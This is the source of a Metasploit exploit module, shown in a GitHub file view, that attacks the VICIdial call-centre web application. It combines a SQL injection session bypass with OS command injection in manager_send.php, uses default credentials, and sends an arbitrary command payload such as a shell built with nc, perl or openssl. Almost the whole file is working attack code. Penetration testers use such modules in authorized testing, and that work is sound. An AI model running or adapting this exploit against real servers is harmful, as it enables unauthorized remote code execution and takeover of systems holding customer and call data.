/
vicidial_manager_send_cmd_exec.rb
197 lines (175 loc) · 7.04 KB
/
vicidial_manager_send_cmd_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VICIdial Manager Send OS Command Injection',
'Description' => %q{
The file agc/manager_send.php in the VICIdial web application uses
unsanitized user input as part of a command that is executed using the PHP
passthru() function. A valid username, password and session are needed to access
the injection point. Fortunately, VICIdial has two built-in accounts with default
passwords and the manager_send.php file has a SQL injection vulnerability that can
be used to bypass the session check as long as at least one session has been
created at some point in time. In case there isn't any valid session, the user can
provide astGUIcient credentials in order to create one. The results of the injected
commands are returned as part of the response from the web server. Affected versions
include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The
default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
},
'Author' =>
[
'Adam Caudill <adam[at]adamcaudill.com>', # Vulnerability discovery
'AverageSecurityGuy <stephen[at]averagesecurityguy.info>', # Metasploit Module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4467' ],
[ 'CVE', '2013-4468' ],
[ 'OSVDB', '98903' ],
[ 'OSVDB', '98902' ],
[ 'BID', '63340' ],
[ 'BID', '63288' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ],
[ 'URL', 'http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/' ]
],
'DisclosureDate' => '2013-10-23',
'Privileged' => true,
'Platform' => ['unix'],
'Payload' =>
{
'DisableNops' => true,
'Space' => 8000, # Apache's limit for GET, it should be enough one to fit any payload
'Compat' =>
{
'PayloadType' => 'cmd',
# Based on vicibox availability of binaries
'RequiredCmd' => 'generic perl python awk telnet nc openssl',
}
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']),
OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']),
OptString.new('USER_ASTGUI', [false, 'astGUIcient User Login', '6666']),
OptString.new('PASS_ASTGUI', [false, 'astGUIcient User Password', '1234']),
OptString.new('PHONE_USER_ASTGUI', [false, 'astGUIcient Phone Login', '6666']),
OptString.new('PHONE_PASSWORD_ASTGUI', [false, 'astGUIcient Phone Password', '1234'])
])
end
# Login through astGUIclient and create a web_client_sessions if there isn't
# something available
def login
begin
res = send_request_cgi({
'uri' => '/agc/astguiclient.php',
'method' => 'POST',
'vars_post' => {
"user" => datastore["USER_ASTGUI"],
"pass" => datastore["PASS_ASTGUI"],
"phone_login" => datastore["PHONE_USER_ASTGUI"],
"phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"]
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
return res
end
def astguiclient_creds?
if datastore["USER_ASTGUI"].nil? or datastore["USER_ASTGUI"].empty?
return false
end
if datastore["PASS_ASTGUI"].nil? or datastore["PASS_ASTGUI"].empty?
return false
end
if datastore["PHONE_USER_ASTGUI"].nil? or datastore["PHONE_USER_ASTGUI"].empty?
return false
end
if datastore["PHONE_PASSWORD_ASTGUI"].nil? or datastore["PHONE_PASSWORD_ASTGUI"].empty?
return false
end
return true
end
def request(cmd, timeout = 20)
begin
res = send_request_cgi({
'uri' => '/agc/manager_send.php',
'method' => 'GET',
'vars_get' => {
"enable_sipsak_messages" => "1",
"allow_sipsak_messages" => "1",
"protocol" => "sip",
"ACTION" => "OriginateVDRelogin",
"session_name" => rand_text_alpha(12), # Random session name
"server_ip" => "' OR '1' = '1", # SQL Injection to validate the session
"extension" => ";#{cmd};",
"user" => datastore['USERNAME'],
"pass" => datastore['PASSWORD']
}
}, timeout)
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
return res
end
def check
res = request('ls -a .')
if res and res.code == 200
if res.body =~ /Invalid Username\/Password/
vprint_error("Invalid Username or Password.")
return Exploit::CheckCode::Detected
elsif res.body =~ /Invalid session_name/
vprint_error("Web client session not found")
return Exploit::CheckCode::Detected
elsif res.body =~ /\.\n\.\.\n/m
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Checking if injection is possible...")
res = request('ls -a .')
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unknown response, check the target")
end
if res.body =~ /Invalid Username\/Password/
fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
end
if res.body =~ /Invalid session_name/
fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
print_error("Valid web client session not found, trying to create one...")
res = login
unless res and res.code == 200 and res.body =~ /you are logged/
fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
end
res = request('ls -a .')
end
unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m
fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible")
end
print_good("Exploitation looks feasible, proceeding... ")
request("#{payload.encoded}", 1)
end
end